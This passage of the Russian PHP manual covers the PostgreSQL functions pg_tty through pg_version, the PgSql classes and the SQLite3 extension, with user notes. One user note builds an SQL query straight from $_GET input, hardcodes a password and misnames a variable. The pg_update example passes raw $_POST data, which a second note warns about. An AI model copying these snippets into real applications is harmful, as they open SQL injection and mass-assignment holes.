Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Имя TTY для подключения connection в виде строки (string).

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_tty()

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
print "TTY отладки сервера: " . pg_tty($pgsql_conn) . "<br/>\n";
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Убирает экранирование двоичных данных типа bytea

  • « pg_tty
  • pg_untrace »
  • PHP Manual
  • Функции PostgreSQL
  • Убирает экранирование двоичных данных типа bytea

pg_unescape_bytea

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_unescape_bytea — Убирает экранирование двоичных данных типа bytea

Описание

pg_unescape_bytea(string $string): string

pg_unescape_bytea() убирает экранирование спецсимволов в значениях типа PostgreSQL bytea. Возвращает неэкранированную строку, содержащую двоичные данные.

Замечание:

При выборке SQL функцией SELECT данных типа bytea PostgreSQL возвращает значения в восьмеричной системе счисления с префиксом '\' (такие как \032). Пользователю необходимо вручную преобразовывать их в двоичный формат.

Функция поддерживается PostgreSQL версии 7.2 и выше. Для версий 7.2.0 и 7.2.1 значения должны быть преобразованы к типу bytea, когда включена мультибайтовая поддержка. Тогда как INSERT INTO test_table (image)VALUES ('$image_escaped'::bytea); в PostgreSQL 7.2.2 и выше не требует каких-либо преобразований. Исключение составляет случай, когда клиентская (frontend) кодировка не соответствует серверной (backend). При этом возникает ошибка мультибайтового потока, и пользователь должен привести данные к типу bytea, чтобы её избежать.

Список параметров

string

Строка (string), содержащая данные типа PostgreSQL bytea и подлежащая преобразованию в двоичную строку PHP.

Возвращаемые значения

Строка (string) с неэкранированными спецсимволами.

Примеры

Пример #1 Пример использования pg_unescape_bytea()

<?php
// Подключение к базе данных
$dbconn = pg_connect('dbname=foo');

// Получение bytea данных
$res = pg_query("SELECT data FROM gallery WHERE name='Pine trees'");
$raw = pg_fetch_result($res, 'data');

// Преобразование в двоичный формат и отправка в броузер
header('Content-type: image/jpeg');
echo pg_unescape_bytea($raw);
?>

Смотрите также

  • pg_escape_bytea() - Экранирует спецсимволы в строке для вставки в поле типа bytea
  • pg_escape_string() - Экранирование спецсимволов в строке запроса

User Contributed Notes

muralito at montevideo dot com dot uy 17-Mar-2011 05:10
The workaround is to configure a property in the postgres database for the user, to make postgres behave as the old default.

ALTER USER username SET bytea_output = 'escape';

(or using the pgadmin interface)
liviu dot mirea at gmail dot com 15-Oct-2010 10:06
PostgreSQL 9.0 introduced "hex" as the new default format for encoding binary data. Because "pg_unescape_bytea" only works with the old "escape" format, you need to do pg_query('SET bytea_output = "escape";'); before executing your select queries.

More details can be found here: http://www.postgresql.org/docs/9.0/static/datatype-binary.html

[Ed: Recent PostgreSQL versions support unescaping the "hex" format.]
tiagopastorello at gmail dot com 30-Jun-2008 12:31
<?php
$conexao = pg_connect("host=localhost dbname=name user=postgres password=123456") or die('Sorry =( : ' . pg_last_error());

$cod= $_GET['cod'];

$sql = "SELECT * FROM table WHERE cod_field = '$cod'";
$quer = pg_query($conexao, $sql);

$reg = pg_fetch_object($query);

print pg_unescape_bytea($reg -> field_bytea);

?>


Отключает трассировку соединения с PostgreSQL

  • « pg_unescape_bytea
  • pg_update »
  • PHP Manual
  • Функции PostgreSQL
  • Отключает трассировку соединения с PostgreSQL

pg_untrace

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

pg_untrace — Отключает трассировку соединения с PostgreSQL

Описание

pg_untrace(?PgSql\Connection $connection = null): true

Останавливает трассировку, запущенную функцией pg_trace().

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_untrace()

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
pg_query("SELECT 1");
pg_untrace($pgsql_conn);
// Теперь трассировка взаимодействия с сервером отключена
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

Смотрите также

  • pg_trace() - Включает трассировку подключения PostgreSQL

User Contributed Notes

There are no user contributed notes for this page.


Обновление данных в таблице

  • « pg_untrace
  • pg_version »
  • PHP Manual
  • Функции PostgreSQL
  • Обновление данных в таблице

pg_update

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_update — Обновление данных в таблице

Описание

pg_update(
PgSql\Connection $connection,
string $table_name,
array $values,
array $conditions,
int $flags = PGSQL_DML_EXEC
): string|bool

pg_update() заменяет записи в таблице, удовлетворяющие условиям conditions данными values.

Если flags указан, pg_convert() применяется к values с указанными флагами.

По умолчанию pg_update() передаёт необработанные значения. Значения должны быть экранированы или опция PGSQL_DML_ESCAPE должна быть указана. PGSQL_DML_ESCAPE заключает в кавычки и экранирует параметры/идентификаторы. Поэтому имена таблиц/столбцов становятся чувствительными к регистру.

Обратите внимание, что ни экранирование, ни подготовленный запрос не защитят запрос LIKE, JSON, массив, регулярные выражения и т.д.. Эти параметры должны обрабатываться в соответствии с их контекстами, т.е. следует экранировать/проверять значения.

Список параметров

connection

Экземпляр PgSql\Connection.

table_name

Имя таблицы, в которой обновляются записи.

values

Массив (array), ключи которого соответствуют именам колонок таблицы table_name, а значения заменят данные в этих колонках.

condition

Массив (array), ключи которого соответствуют именам колонок таблицы table_name. Будут обновлены только те строки, значения полей которых совпадут со значениями массива.

flags

Одна из констант PGSQL_CONV_OPTS, PGSQL_DML_NO_CONV, PGSQL_DML_ESCAPE, PGSQL_DML_EXEC, PGSQL_DML_ASYNC или PGSQL_DML_STRING, либо их комбинация. Если flags содержит PGSQL_DML_STRING, функция вернёт строку. Если установлены PGSQL_DML_NO_CONV или PGSQL_DML_ESCAPE, то функция pg_convert() внутренне не вызывается.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Функция вернёт строку (string), если константа PGSQL_DML_STRING содержится в flags.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_update()

<?php
$db = pg_connect('dbname=foo');
$data = array('field1'=>'AA', 'field2'=>'BB');

// Это безопасно в некоторой степени, поскольку все значения экранируются.
// Однако PostgreSQL поддерживает JSON/массив. Для этих значений это не безопасно
// ни с через экранирование, ни с помощью подготовленного запроса.
$res = pg_update($db, 'post_log', $_POST, $data);
if ($res) {
echo "Данные обновлены: $res\n";
} else {
echo "Должно быть переданы неверные данные\n";
}
?>

Смотрите также

  • pg_convert() - Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах

User Contributed Notes

dominik dot bonsch at homesono dot de 25-Jan-2008 01:24
Using pg_update() and pg_insert() without key validation is not secure!

You need to check which data pairs you get, and if you want to allow to updated this column.

Example:

You have a table with tree colums: username, password, userlevel.

Your users may change only their username, and their password but not their userlevel.

If you don't filter the keys in the request array, every user can now change his userlevel just by sending a POST Request with "userlevel=>100".

So if you don't check if the key are allowed in your request array you'll get serious sql injection vulnarabilities in your code.
jhooks 13-Apr-2006 07:54
> Return Values
>
> Returns TRUE on success or FALSE on failure. Returns string if
> PGSQL_DML_STRING is passed via options.

I have found in my copy of PHP (version 4.4.0) that if you use the 'PGSQL_DML_STRING' option, the function does not execute any query.  It merely returns the query which would have been executed.

Another thing I noticed, pg_update does not seem to make use of pg_trace (atleast in 4.4.0).

PS this isn't a bug report, just an explanation of some undocumented features I noticed.  As the manual says, the function is still in development so this behaviour may differ from version to version.
sdibb at myway dot com 14-Jun-2005 07:26
This function is similar to PEAR::DB's autoExecute() function, with the only difference being that the where clause is an array instead of a string.

Also, if you want to use your instance of the DB class with this function, you can reference the existing resource connection with $db->connection.

An example would be:
<?
     pg_update($db->connection, $arr_update, $arr_where);
?>


Возвращает массив, содержащий версии клиента, протокола клиент-серверного взаимодействия и сервера (если доступно)

  • « pg_update
  • PgSql\Connection »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает массив, содержащий версии клиента, протокола клиент-серверного взаимодействия и сервера (если доступно)

pg_version

(PHP 5, PHP 7, PHP 8)

pg_version — Возвращает массив, содержащий версии клиента, протокола клиент-серверного взаимодействия и сервера (если доступно)

Описание

pg_version(?PgSql\Connection $connection = null): array

pg_version() возвращает массив, содержащий версии клиента, протокола клиент-серверного взаимодействия и сервера. Версии протокола и сервера доступны, только если модуль PHP скомпилирован для PostgreSQL версии 7.4 или выше.

Для получения детальной информации о сервере используйте функцию pg_parameter_status().

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Возвращает массив с ключами client, protocol и server и соответствующими значениями версий.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_version()

<?php
$dbconn = pg_connect("host=localhost port=5432 dbname=mary")
or die("Could not connect");

$v = pg_version($dbconn);

echo $v['client'];
?>

Результат выполнения данного примера:

7.4

Смотрите также

  • pg_parameter_status() - Просмотр текущих значений параметров сервера

User Contributed Notes

mgchristensen 03-May-2020 03:19
I note that the array element for "protocol" seemingly has no value, being reported as:

 ["protocol"]=> int(3)

whereas the array element for e.g. "server" is reported as (in my particular case):

["server"]=> string(5) "10.12"

A call to json_encode() however gives:

"protocol":3 and "server":"10.12"
live627 07-Feb-2020 12:36
Complete output off this function for me is:

array(13) {
  ["client"]=>
  string(5) "9.6.9"
  ["protocol"]=>
  int(3)
  ["server"]=>
  string(4) "12.1"
  ["server_encoding"]=>
  string(4) "UTF8"
  ["client_encoding"]=>
  string(4) "UTF8"
  ["is_superuser"]=>
  string(2) "on"
  ["session_authorization"]=>
  string(8) "postgres"
  ["DateStyle"]=>
  string(8) "ISO, MDY"
  ["IntervalStyle"]=>
  string(8) "postgres"
  ["TimeZone"]=>
  string(10) "US/Arizona"
  ["integer_datetimes"]=>
  string(2) "on"
  ["standard_conforming_strings"]=>
  string(2) "on"
  ["application_name"]=>
  string(0) ""
}


Класс PgSql\Connection

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс pgsql link в PHP 8.1.0.

Обзор классов

final class PgSql\Connection {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс PgSql\Result

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс pgsql result в PHP 8.1.0.

Обзор классов

final class PgSql\Result {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс PgSql\Lob

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс pgsql large object в PHP 8.1.0.

Обзор классов

final class PgSql\Lob {
}

User Contributed Notes

There are no user contributed notes for this page.


SQLite3

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • SQLite3 — Класс SQLite3
    • SQLite3::backup — Резервное копирование одной базы данных в другую
    • SQLite3::busyTimeout — Установить обработчик "занято" на соединение
    • SQLite3::changes — Получить количество строк, которые были изменены/удалены/вставлены последним запросом
    • SQLite3::close — Закрыть соединение с базой данных
    • SQLite3::__construct — Создаёт экземпляр объекта SQLite3 и открывает соединение с базой
    • SQLite3::createAggregate — Зарегистрировать функцию PHP в качестве агрегирующей функции SQL
    • SQLite3::createCollation — Регистрирует функцию PHP для использования в качестве функции сортировки SQL
    • SQLite3::createFunction — Регистрирует функцию PHP для использования в качестве скалярной функции SQL
    • SQLite3::enableExceptions — Включить выброс исключений
    • SQLite3::escapeString — Возвращает правильно экранированную строку
    • SQLite3::exec — Выполняет запрос без результата к текущей базе данных
    • SQLite3::lastErrorCode — Возвращает числовой код результата последнего неудачного запроса SQLite
    • SQLite3::lastErrorMsg — Возвращает текст на английском, описывающий последний неудачный запрос SQLite
    • SQLite3::lastInsertRowID — Возвращает идентификатор строки последней вставки (INSERT) в базу данных
    • SQLite3::loadExtension — Попытаться загрузить библиотеку модуля SQLite
    • SQLite3::open — Открыть базу данных SQLite
    • SQLite3::openBlob — Открывает ресурс потока для чтения BLOB
    • SQLite3::prepare — Подготавливает SQL-запрос для выполнения
    • SQLite3::query — Выполняет SQL-запрос
    • SQLite3::querySingle — Выполняет запрос и возвращает одиночный результат
    • SQLite3::setAuthorizer — Устанавливает callback-функцию, которая будет использоваться в качестве авторизатора для ограничения действий выражения
    • SQLite3::version — Возвращает версию библиотеки SQLite3, содержит как строковую константу, так и числовую
  • SQLite3Stmt — Класс SQLite3Stmt
    • SQLite3Stmt::bindParam — Связывает параметр с переменной подготовленного запроса
    • SQLite3Stmt::bindValue — Связывает значение параметра с переменной подготовленного запроса
    • SQLite3Stmt::clear — Удаляет все текущие привязанные параметры
    • SQLite3Stmt::close — Закрывает подготовленный запрос
    • SQLite3Stmt::__construct — Конструктор класса SQLite3Stmt
    • SQLite3Stmt::execute — Выполняет подготовленный запрос и возвращает объект с результирующим набором
    • SQLite3Stmt::getSQL — Получить SQL-запрос в виде строки из запроса
    • SQLite3Stmt::paramCount — Возвращает количество параметров в подготовленном запросе
    • SQLite3Stmt::readOnly — Проверяет, является ли подготовленный запрос только для чтения
    • SQLite3Stmt::reset — Сбрасывает подготовленный запрос
  • SQLite3Result — Класс SQLite3Result
    • SQLite3Result::columnName — >Возвращает имя n-ого столбца
    • SQLite3Result::columnType — Возвращает тип n-ного столбца
    • SQLite3Result::__construct — Конструктор класса SQLite3Result
    • SQLite3Result::fetchArray — Выбирает одну строку из результирующего набора и помещает её в ассоциативный или нумерованный массив, или в оба сразу
    • SQLite3Result::finalize — Закрывает результирующий набор
    • SQLite3Result::numColumns — Возвращает количество столбцов в результирующем наборе
    • SQLite3Result::reset — Сбрасывает указатель результирующего набора на первую строку

User Contributed Notes

donotspam at alecos dot it 06-Dec-2019 04:23
To enable CURL and SQLITE3 on Windows with PHP 7.4 edit httpd.conf and php.ini as below:

httpd.conf:

# load php.ini from chosen directory
PHPIniDir "${SRVROOT}/php"
# load PHP 7.4 on Windows
LoadModule php7_module "${SRVROOT}/php/php7apache2_4.dll"
# load CURL on Windows
LoadFile "${SRVROOT}/php/libssh2.dll"
# load SQLITE3 on Windows
LoadFile "${SRVROOT}/php/libsqlite3.dll"

php.ini:

extension=curl
extension=pdo_sqlite
extension=sqlite3

Now CURL and SQLITE3 are enabled and working fine on Windows on PHP 7.4.
Anonymous 01-Feb-2018 12:24
PHP doesn't seem to support password protection for SQLite3. We can specify password on the db(I think) but you will still be able to open the DB without using a password so it is not working.
Anonymous 06-Dec-2011 12:56
As of PHP 5.4 support for Sqlite2 has been removed. I have a large web app that was built with sqlite2 as the database backend and thus it exploded when I updated PHP. If you're in a similar situation I've written a few wrapper functions that will allow your app to work whilst you convert the code to sqlite3.

Firstly convert your DB to an sqlite3 db.

sqlite OLD.DB .dump | sqlite3 NEW.DB

Then add the following functions to your app:

<?php
function sqlite_open($location,$mode)
{
    $handle = new SQLite3($location);
    return $handle;
}
function sqlite_query($dbhandle,$query)
{
    $array['dbhandle'] = $dbhandle;
    $array['query'] = $query;
    $result = $dbhandle->query($query);
    return $result;
}
function sqlite_fetch_array(&$result,$type)
{
    #Get Columns
    $i = 0;
    while ($result->columnName($i))
    {
        $columns[ ] = $result->columnName($i);
        $i++;
    }

    $resx = $result->fetchArray(SQLITE3_ASSOC);
    return $resx;
}
?>

They're not perfect by any stretch but they seem to be working ok as a temporary measure while I convert the site.
Hope that helps someone
alan at chandlerfamily dot org dot uk 09-Aug-2010 01:36
PHP 5.3.3 introduced sqlite3::busyTimeout(int milliseconds) which does not currently seem to be documented.

It believe it acts like sqlite::busyTimeout - that is it tells sqlite3 to call an internal busyHandler if SQLITE_BUSY is returned from any call which waits a short period and then retries.  It continues to do this until milliseconds milliseconds have elapsed and then returns the SQLITE_BUSY status.

I don't know whether the default 60 second value is in place if this function is not called.


Введение

Обеспечение поддержки баз данных SQLite версии 3.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Начиная с PHP 7.4.0 требуется библиотека » libsqlite версии 3.7.4 или новее. Ранее встроенный из коробки libsqlite мог использовался вместо этого.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль SQLite3 доступен по умолчанию. Модуль можно отключить помощью --without-sqlite3 во время компиляции.

Пользователи Windows должны включить поддержку php_sqlite3.dll для того, чтобы использовать модуль. Этот DLL входит в состав Windows-дистрибутивов PHP начиная с версии PHP 5.3.0.

Замечание: Дополнительная настройка на Windows с PHP 7.4.0

Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: libsqlite3.dll.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки SQLite3
Имя | По умолчанию | Место изменения | Список изменений
sqlite3.extension_dir | "" | PHP_INI_SYSTEM |
sqlite3.defensive | 1 | PHP_INI_USER | Доступно, начиная с PHP 7.2.17 и 7.3.4 для libsqlite ? 3.26.0. До PHP 8.2.0 этот параметр можно было изменить только как PHP_INI_SYSTEM.

Краткое разъяснение конфигурационных директив.

sqlite3.extension_dir string

Путь к каталогу, в котором находятся файлы модуля SQLite.

sqlite3.defensive bool

Если установлен флаг defensive, языковые конструкции, которые позволяют обычному SQL-запросу преднамеренно повреждать файл базы данных, отключены. Запрещается запись непосредственно в схему, в теневые таблицы (т.е. таблицы данных FTS) или виртуальную таблицу sqlite_dbpage. Эта настройка php.ini работает только с libsqlite ? 3.26.0.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SQLITE3_ASSOC (int)
Указывает на то, что Sqlite3Result::fetchArray() метод должен вернуть массив, индексированный по имени столбца в соответствующий набор результатов.
SQLITE3_NUM (int)
Указывает на то, что Sqlite3Result::fetchArray() метод должен вернуть массив, индексированный по номеру столбца в соответствующий набор результатов, начиная со столбца 0.
SQLITE3_BOTH (int)
Указывает на то, что Sqlite3Result::fetchArray() метод должен вернуть массив, индексированный по имени столбца и его номеру в соответствующий набор результатов, начиная со столбца 0.
SQLITE3_INTEGER (int)
Представляет класс хранения типа SQLite3 INTEGER.
SQLITE3_FLOAT (int)
Представляет класс хранения типа SQLite3 REAL (FLOAT).
SQLITE3_TEXT (int)
Представляет класс хранения типа SQLite3 TEXT.
SQLITE3_BLOB (int)
Представляет класс хранения типа SQLite3 BLOB.
SQLITE3_NULL (int)
Представляет класс хранения типа SQLite3 NULL.
SQLITE3_OPEN_READONLY (int)
Указывает на то, что база данных SQLite3 доступна только для чтения.
SQLITE3_OPEN_READWRITE (int)
Указывает на то, что база данных SQLite3 доступна как для чтения, так и для записи.
SQLITE3_OPEN_CREATE (int)
Указывает на то, что файл базы данных SQLite3 будет создан в том случае, если он ещё не существует.
SQLITE3_DETERMINISTIC (int)
Указывает, что функция созданная SQLite3::sqliteCreateFunction() детерминирована. Т.е. она всегда возвращает одинаковый результат для для одинаковых входных данных в одном выражении SQL. (Доступно с PHP 7.1.4.)

User Contributed Notes

There are no user contributed notes for this page.


Класс SQLite3

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс, предоставляющий доступ к API SQLite 3 базе данных.

Обзор классов

class SQLite3 {
/* Константы */
public const int OK;
public const int DENY;
public const int IGNORE;
public const int CREATE_INDEX;
public const int CREATE_TABLE;
public const int CREATE_TEMP_INDEX;
public const int CREATE_TEMP_TABLE;
public const int CREATE_TEMP_TRIGGER;
public const int CREATE_TEMP_VIEW;
public const int CREATE_TRIGGER;
public const int CREATE_VIEW;
public const int DELETE;
public const int DROP_INDEX;
public const int DROP_TABLE;
public const int DROP_TEMP_INDEX;
public const int DROP_TEMP_TABLE;
public const int DROP_TEMP_TRIGGER;
public const int DROP_TEMP_VIEW;
public const int DROP_TRIGGER;
public const int DROP_VIEW;
public const int INSERT;
public const int PRAGMA;
public const int READ;
public const int SELECT;
public const int TRANSACTION;
public const int UPDATE;
public const int ATTACH;
public const int DETACH;
public const int ALTER_TABLE;
public const int REINDEX;
public const int ANALYZE;
public const int CREATE_VTABLE;
public const int DROP_VTABLE;
public const int FUNCTION;
public const int SAVEPOINT;
public const int COPY;
public const int RECURSIVE;
/* Методы */
public __construct(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, string $encryptionKey = "")
public backup(SQLite3 $destination, string $sourceDatabase = "main", string $destinationDatabase = "main"): bool
public busyTimeout(int $milliseconds): bool
public changes(): int
public close(): bool
public createAggregate(
string $name,
callable $stepCallback,
callable $finalCallback,
int $argCount = -1
): bool
public createCollation(string $name, callable $callback): bool
public createFunction(
string $name,
callable $callback,
int $argCount = -1,
int $flags = 0
): bool
public enableExceptions(bool $enable = false): bool
public static escapeString(string $string): string
public exec(string $query): bool
public lastErrorCode(): int
public lastErrorMsg(): string
public lastInsertRowID(): int
public loadExtension(string $name): bool
public open(string $filename, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, string $encryptionKey = ""): void
public openBlob(
string $table,
string $column,
int $rowid,
string $database = "main",
int $flags = SQLITE3_OPEN_READONLY
): resource|false
public prepare(string $query): SQLite3Stmt|false
public query(string $query): SQLite3Result|false
public querySingle(string $query, bool $entireRow = false): mixed
public setAuthorizer(?callable $callback): bool
public static version(): array
}

Предопределённые константы

SQLite3::OK

SQLite3::DENY

SQLite3::IGNORE

SQLite3::CREATE_INDEX

SQLite3::CREATE_TABLE

SQLite3::CREATE_TEMP_INDEX

SQLite3::CREATE_TEMP_TABLE

SQLite3::CREATE_TEMP_TRIGGER

SQLite3::CREATE_TEMP_VIEW

SQLite3::CREATE_TRIGGER

SQLite3::CREATE_VIEW

SQLite3::DELETE

SQLite3::DROP_INDEX

SQLite3::DROP_TABLE

SQLite3::DROP_TEMP_INDEX

SQLite3::DROP_TEMP_TABLE

SQLite3::DROP_TEMP_TRIGGER

SQLite3::DROP_TEMP_VIEW

SQLite3::DROP_TRIGGER

SQLite3::DROP_VIEW

SQLite3::INSERT

SQLite3::PRAGMA

SQLite3::READ

SQLite3::SELECT

SQLite3::TRANSACTION

SQLite3::UPDATE

SQLite3::ATTACH

SQLite3::DETACH

SQLite3::ALTER_TABLE

SQLite3::REINDEX

SQLite3::ANALYZE

SQLite3::CREATE_VTABLE

SQLite3::DROP_VTABLE

SQLite3::FUNCTION

SQLite3::SAVEPOINT

SQLite3::COPY

SQLite3::RECURSIVE

Содержание

  • SQLite3::backup — Резервное копирование одной базы данных в другую
  • SQLite3::busyTimeout — Установить обработчик "занято" на соединение
  • SQLite3::changes — Получить количество строк, которые были изменены/удалены/вставлены последним запросом
  • SQLite3::close — Закрыть соединение с базой данных
  • SQLite3::__construct — Создаёт экземпляр объекта SQLite3 и открывает соединение с базой
  • SQLite3::createAggregate — Зарегистрировать функцию PHP в качестве агрегирующей функции SQL
  • SQLite3::createCollation — Регистрирует функцию PHP для использования в качестве функции сортировки SQL
  • SQLite3::createFunction — Регистрирует функцию PHP для использования в качестве скалярной функции SQL
  • SQLite3::enableExceptions — Включить выброс исключений
  • SQLite3::escapeString — Возвращает правильно экранированную строку
  • SQLite3::exec — Выполняет запрос без результата к текущей базе данных
  • SQLite3::lastErrorCode — Возвращает числовой код результата последнего неудачного запроса SQLite
  • SQLite3::lastErrorMsg — Возвращает текст на английском, описывающий последний неудачный запрос SQLite
  • SQLite3::lastInsertRowID — Возвращает идентификатор строки последней вставки (INSERT) в базу данных
  • SQLite3::loadExtension — Попытаться загрузить библиотеку модуля SQLite
  • SQLite3::open — Открыть базу данных SQLite
  • SQLite3::openBlob — Открывает ресурс потока для чтения BLOB
  • SQLite3::prepare — Подготавливает SQL-запрос для выполнения
  • SQLite3::query — Выполняет SQL-запрос
  • SQLite3::querySingle — Выполняет запрос и возвращает одиночный результат
  • SQLite3::setAuthorizer — Устанавливает callback-функцию, которая будет использоваться в качестве авторизатора для ограничения действий выражения
  • SQLite3::version — Возвращает версию библиотеки SQLite3, содержит как строковую константу, так и числовую

User Contributed Notes

dannsbass at gmail dot com 30-Aug-2021 10:56
# get all .dbi files in a directory
$databases_list = glob("directory/*.dbi");

# looping it
foreach ($databases_list as $db_name){

    # sanitizing name of file
    $db_name = str_replace('directory/','',str_replace('.dbi','',$db_name));

    # Database connection
    $db = new SQLite3($db_name);

    $result = $db->query("SELECT * FROM your_table_name");

    while($data = $result->fetchArray()){

        echo $data['column']."<hr>";

    }

  }


Резервное копирование одной базы данных в другую

  • « SQLite3
  • SQLite3::busyTimeout »
  • PHP Manual
  • SQLite3
  • Резервное копирование одной базы данных в другую

SQLite3::backup

(PHP 7 >= 7.4.0, PHP 8)

SQLite3::backup — Резервное копирование одной базы данных в другую

Описание

public SQLite3::backup(SQLite3 $destination, string $sourceDatabase = "main", string $destinationDatabase = "main"): bool

SQLite3::backup() копирует содержимое одной базы в другую, перезаписывая содержимое целевой базы. Это полезно как для создания резервных копий, так и для копирования in-memory баз в файл или из файла.

Подсказка

Начиная с SQLite 3.27.0 (07.02.2019), также можно использовать конструкцию VACUUM INTO 'file.db'; для резервного копирования базы данных в новый файл.

Список параметров

destination

Соединение с базой, открытое с помощью SQLite3::open().

sourceDatabase

Имя базы данных. Для главной базы "main", для временной "temp", или имя, заданное после ключевого слова AS в выражении ATTACH для присоединённых баз.

destinationDatabase

Аналогично sourceDatabase но для destinationDatabase.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Создание резервной копии существующей базы

<?php
// $conn is a connection to an already opened sqlite3 database

$backup = new SQLite3('backup.sqlite');
$conn->backup($backup);
?>

User Contributed Notes

There are no user contributed notes for this page.


Установить обработчик "занято" на соединение

  • « SQLite3::backup
  • SQLite3::changes »
  • PHP Manual
  • SQLite3
  • Установить обработчик "занято" на соединение

SQLite3::busyTimeout

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

SQLite3::busyTimeout — Установить обработчик "занято" на соединение

Описание

public SQLite3::busyTimeout(int $milliseconds): bool

Устанавливает обработчик, который будет спать до тех пор, пока БД не заблокируется либо пока не истечёт время ожидания.

Список параметров

milliseconds

Миллисекунды. Установка равным 0 или отрицательному значению приведёт к отключению уже установленного обработчика.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

anthony at domps dot fr 04-May-2021 11:55
It's possible to use PRAGMA to set busyTimeout (milliseconds) :

<?php

$db = new SQLite3('my.db');
$db->exec("PRAGMA busy_timeout=5000");

?>
dkarnout at gmail dot com 14-Aug-2015 06:40
For SQLite2 (http://php.net/manual/en/function.sqlite-busy-timeout.php), PHP sets the default busy timeout to be 60 seconds when the database is opened.
However, this does not happen for v3 and it has to be done manually.

My personal experience is that the default value of SQLite3, which is 0, is not enough when you have to do consecutive read/write commits and the file has not been accessed for long time.
ppryor63 at gmail dot com 13-Feb-2014 01:30
The busyTimeout() method and related API sqlite3_busy_timeout() is a connection level attribute and affects whole connection and should be set once after opening connection.  Do not set to zero or you will encounter "Database is busy" error message when calling query, querySingle, prepare, or execute methods.  Also ensure that sqlite3 library is compiled with HAVE_USLEEP defined, otherwise busyTimeout() can only time out in seconds.  It is very highly recommended to call busyTimeout() with non-zero timeout for reliability in concurrent environment.


Получить количество строк, которые были изменены/удалены/вставлены последним запросом

  • « SQLite3::busyTimeout
  • SQLite3::close »
  • PHP Manual
  • SQLite3
  • Получить количество строк, которые были изменены/удалены/вставлены последним запросом

SQLite3::changes

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::changes — Получить количество строк, которые были изменены/удалены/вставлены последним запросом

Описание

public SQLite3::changes(): int

Возвращает количество строк, которые были изменены/удалены/вставлены последним SQL-запросом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество строк (int), которые были изменены/удалены/вставлены последним SQL-запросом.

Примеры

Пример #1 Пример использования SQLite3::changes()

<?php
$db = new SQLite3('mysqlitedb.db');

$query = $db->exec('UPDATE counter SET views=0 WHERE page="test"');
if ($query) {
echo 'Количество изменённых строк: ', $db->changes();
}
?>

User Contributed Notes

teclado at tandex dot com 02-Oct-2015 04:10
There is an issue that may be meant or not, but in my case is annoying. If you have have a schema like the following:

[code]
pragma foreign_key = on;
create table parent (
  id integer,
  a varchar,
  primary key (id asc)
);
create table child (
  id integer,
  b varchar,
  a integer,
  primary key (id asc),
